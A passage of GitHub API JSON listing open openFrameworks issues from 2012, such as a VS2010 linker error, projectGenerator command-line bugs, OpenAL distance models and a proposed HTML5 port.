dry?","user":{"login":"jvcleave","id":150037,"avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9c0384a91739bea093f453cf40a59742","url":"https://api.github.com/users/jvcleave","html_url":"https://github.com/jvcleave","followers_url":"https://api.github.com/users/jvcleave/followers","following_url":"https://api.github.com/users/jvcleave/following","gists_url":"https://api.github.com/users/jvcleave/gists{/gist_id}","starred_url":"https://api.github.com/users/jvcleave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvcleave/subscriptions","organizations_url":"https://api.github.com/users/jvcleave/orgs","repos_url":"https://api.github.com/users/jvcleave/repos","events_url":"https://api.github.com/users/jvcleave/events{/privacy}","received_events_url":"https://api.github.com/users/jvcleave/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2012-06-18T21:48:19Z","updated_at":"2012-08-01T11:47:08Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Can you do inline functions inside inline functions? this seems to indicate so\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/math/ofVec2f.h#L706\n\nIf so, in ofVec2f::getPerpendicular, ofVec2f::perpendicular and there are a few calls to \nfloat length = (float)sqrt( x*x + y*y ); \n\nthese can be covered by the ofVec2f::length() function\n\nAlso, do we need both lengthSquared() and squareLength()?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1336","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1336/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1336/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1336/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1336","id":5108991,"number":1336,"title":"ofSoundStream doesn't compile in VS2010 (Release Mode) ","user":{"login":"sloopidoopi","id":248498,"avatar_url":"https://secure.gravatar.com/avatar/69d034865cb1f775bb1e0b47ff0580b2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"69d034865cb1f775bb1e0b47ff0580b2","url":"https://api.github.com/users/sloopidoopi","html_url":"https://github.com/sloopidoopi","followers_url":"https://api.github.com/users/sloopidoopi/followers","following_url":"https://api.github.com/users/sloopidoopi/following","gists_url":"https://api.github.com/users/sloopidoopi/gists{/gist_id}","starred_url":"https://api.github.com/users/sloopidoopi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sloopidoopi/subscriptions","organizations_url":"https://api.github.com/users/sloopidoopi/orgs","repos_url":"https://api.github.com/users/sloopidoopi/repos","events_url":"https://api.github.com/users/sloopidoopi/events{/privacy}","received_events_url":"https://api.github.com/users/sloopidoopi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"milestone":null,"comments":3,"created_at":"2012-06-16T21:56:42Z","updated_at":"2012-06-18T07:02:10Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I get an \terror LNK2038: Konflikt ermittelt für \"_ITERATOR_DEBUG_LEVEL\": Der Wert \"2\" stimmt nicht mit dem Wert \"0\" in main.obj überein.\t\n\nIn the Linker settings i see that the rtAudioD.lib is used . \nThis is an inherited value.( I don't know where this value is set and how I can change this )\nI'll guess it should be rtAudio.lib instead.\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1334","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1334/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1334/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1334/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1334","id":5105884,"number":1334,"title":"video playback in windows is slow for some users","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":2,"created_at":"2012-06-16T12:17:23Z","updated_at":"2013-02-11T12:16:05Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"http://forum.openframeworks.cc/index.php/topic,10053.0\n\nwould be good to investigate this @gameoverhack \n "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1329","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1329/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1329/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1329/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1329","id":5086630,"number":1329,"title":"command-line projectGenerator needs to be able to reconfigure OF-root path","user":{"login":"pierrep","id":392160,"avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","url":"https://api.github.com/users/pierrep","html_url":"https://github.com/pierrep","followers_url":"https://api.github.com/users/pierrep/followers","following_url":"https://api.github.com/users/pierrep/following","gists_url":"https://api.github.com/users/pierrep/gists{/gist_id}","starred_url":"https://api.github.com/users/pierrep/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pierrep/subscriptions","organizations_url":"https://api.github.com/users/pierrep/orgs","repos_url":"https://api.github.com/users/pierrep/repos","events_url":"https://api.github.com/users/pierrep/events{/privacy}","received_events_url":"https://api.github.com/users/pierrep/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":1,"created_at":"2012-06-15T05:41:09Z","updated_at":"2013-02-11T12:12:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I accidentally set the wrong OF root path, and ended up having to dig in the source code and then the config files to figure out how to reset it. Would be good for the command-line version to have an option to reset the root path. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1328","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1328/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1328/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1328/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1328","id":5075658,"number":1328,"title":"xcode 4 doesn't put obj files near the xcode project","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-06-14T17:41:40Z","updated_at":"2012-06-14T17:41:40Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"there seems to be conflicting settings for \"per configuration intermediate build files\", and so therefore, there's no \"build\" folder with obj files near the project. This is an issue on some systems which require admin access to the dev folder, where those objs are winding up. it's also just harder to track build / obj files with this newer default approach of apple. \n\nwe should get xcode 4 to operate more like xcode 3 if we can. \n\nI believe it's it's related to this forum post: \n\nhttp://forum.openframeworks.cc/index.php?topic=10064.new;topicseen#new"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1326","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1326/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1326/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1326/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1326","id":5054867,"number":1326,"title":"project makefiles should trigger OF lib rebuild if necessary.","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":null,"comments":0,"created_at":"2012-06-13T19:10:28Z","updated_at":"2012-06-13T19:10:28Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It would be great if the makefiles of projects would trigger a (re)build of the OF library if it is necessary (changed files, no library, etc).\nThis would also solve issues like in [this forum thread](http://forum.openframeworks.cc/index.php/topic,9962). It would also save having to manually rebuild the library if you just use plain make files without an IDE/project, for quick tests etc.\n\nIs this technically feasible, @arturoc ?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1322","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1322/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1322/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1322/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1322","id":5010394,"number":1322,"title":"ofxOpenALSoundPlayer ReferenceDistance and MaxDistance not behaving as expected","user":{"login":"armadillu","id":167057,"avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","url":"https://api.github.com/users/armadillu","html_url":"https://github.com/armadillu","followers_url":"https://api.github.com/users/armadillu/followers","following_url":"https://api.github.com/users/armadillu/following","gists_url":"https://api.github.com/users/armadillu/gists{/gist_id}","starred_url":"https://api.github.com/users/armadillu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/armadillu/subscriptions","organizations_url":"https://api.github.com/users/armadillu/orgs","repos_url":"https://api.github.com/users/armadillu/repos","events_url":"https://api.github.com/users/armadillu/events{/privacy}","received_events_url":"https://api.github.com/users/armadillu/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":1,"created_at":"2012-06-11T19:41:06Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofxALSoundSetReferenceDistance() and ofxALSoundSetMaxDistance() don't seem to behave as expected. \n\nOne would expect sounds not to be heard at all when the sound source is beyond the MaxDistance, but this is not the case on the default setup. I think it is because of the sound model openAL comes set with.\n\nI found the ofxALSoundSetReferenceDistance() and ofxALSoundSetMaxDistance() to make perfect sense when setting the linear sound model by calling this:\n\nalDistanceModel(AL_LINEAR_DISTANCE_CLAMPED); \n\nI feel this sound model should be set by default, or at least give the API a method hinting that different sound models exist.\n\nI made a video demonstrating the issue here: http://www.youtube.com/watch?v=7Gz2x8R01jE"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1319","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1319/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1319/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1319/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1319","id":4985616,"number":1319,"title":"oF in HTML5","user":{"login":"gimlids","id":186277,"avatar_url":"https://secure.gravatar.com/avatar/cc4cace34c61103f0624002a692820f7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"cc4cace34c61103f0624002a692820f7","url":"https://api.github.com/users/gimlids","html_url":"https://github.com/gimlids","followers_url":"https://api.github.com/users/gimlids/followers","following_url":"https://api.github.com/users/gimlids/following","gists_url":"https://api.github.com/users/gimlids/gists{/gist_id}","starred_url":"https://api.github.com/users/gimlids/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gimlids/subscriptions","organizations_url":"https://api.github.com/users/gimlids/orgs","repos_url":"https://api.github.com/users/gimlids/repos","events_url":"https://api.github.com/users/gimlids/events{/privacy}","received_events_url":"https://api.github.com/users/gimlids/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2012-06-09T15:58:45Z","updated_at":"2012-06-10T13:55:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Issue: openFrameworks does not run in the web browser.\n\nSolution: the emscripten backend for the LLVM compiler generates JavaScript, many C++ OpenGL projects have been demonstrated running in the browser with WebGL.\n\nIs anyone interested in this?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1314","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1314/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1314/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1314/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1314","id":4954019,"number":1314,"title":"PG overwrites .cbp's of different platforms","user":{"login":"sphaero","id":832465,"avatar_url":"https://secure.gravatar.com/avatar/f17e8b6636b46f5bfacbda5854842eb9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"f17e8b6636b46f5bfacbda5854842eb9","url":"https://api.github.com/users/sphaero","html_url":"https://github.com/sphaero","followers_url":"https://api.github.com/users/sphaero/followers","following_url":"https://api.github.com/users/sphaero/following","gists_url":"https://api.github.com/users/sphaero/gists{/gist_id}","starred_url":"https://api.github.com/users/sphaero/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sphaero/subscriptions","organizations_url":"https://api.github.com/users/sphaero/orgs","repos_url":"https://api.github.com/users/sphaero/repos","events_url":"https://api.github.com/users/sphaero/events{/privacy}","received_events_url":"https://api.github.com/users/sphaero/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-06-07T16:44:27Z","updated_at":"2012-06-07T16:44:27Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If I create a simple test project including a linux64 and win CB projects I end up with only one test.cbp. It seems it overwrites itself since all platforms share the same name...\n\nsuggestion... use names like _ i.e. testApp_linux.cbp, testApp_linux64.cbp, test_win.cbp etc\n\nIf that's not already on the roadmap....\n\nI tested with the develop branch"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1312","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1312/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1312/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1312/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1312","id":4948268,"number":1312,"title":"ofURLFileLoader doesn't timeout or handle exceptions","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-06-07T11:18:27Z","updated_at":"2012-09-13T20:56:07Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If you issue a URL to ofURLFileLoader and the http subsystem triggers an exception (no route to host is the easiest to test -- just unplug your network), then the URL request will sit in the request queue forever. Turn on OF_LOG_VERBOSE and watch the console output.\n\nThere should be better exception handling, and/or there should be a timeout of some kind."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1306","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1306/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1306/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1306/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1306","id":4924361,"number":1306,"title":"projectGenerator fails when run from command line with target folder","user":{"login":"tarcoles","id":1822092,"avatar_url":"https://secure.gravatar.com/avatar/2399652e50fade7a5d8404203b31a61f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2399652e50fade7a5d8404203b31a61f","url":"https://api.github.com/users/tarcoles","html_url":"https://github.com/tarcoles","followers_url":"https://api.github.com/users/tarcoles/followers","following_url":"https://api.github.com/users/tarcoles/following","gists_url":"https://api.github.com/users/tarcoles/gists{/gist_id}","starred_url":"https://api.github.com/users/tarcoles/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tarcoles/subscriptions","organizations_url":"https://api.github.com/users/tarcoles/orgs","repos_url":"https://api.github.com/users/tarcoles/repos","events_url":"https://api.github.com/users/tarcoles/events{/privacy}","received_events_url":"https://api.github.com/users/tarcoles/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":8,"created_at":"2012-06-06T07:50:15Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If I run the projectGenerator without arguments and use the provided GUI, I can create a new project.\n\nBut if I try to run it as a command line tool it fails halfway through. I would guess a step to make the source folders is missing:\n\n mkdir ~/Public/carne\n\n ./projectGenerator --linux64 ~/Public/carne\n OF: OF_LOG_ERROR: Error: Missing GL version\n\n OF: OF_LOG_ERROR: ofDirectoryLister::listDirectory() error opening directory /home/gabriel/Public/carne/src/\n\n tree ~/Public/carne\n 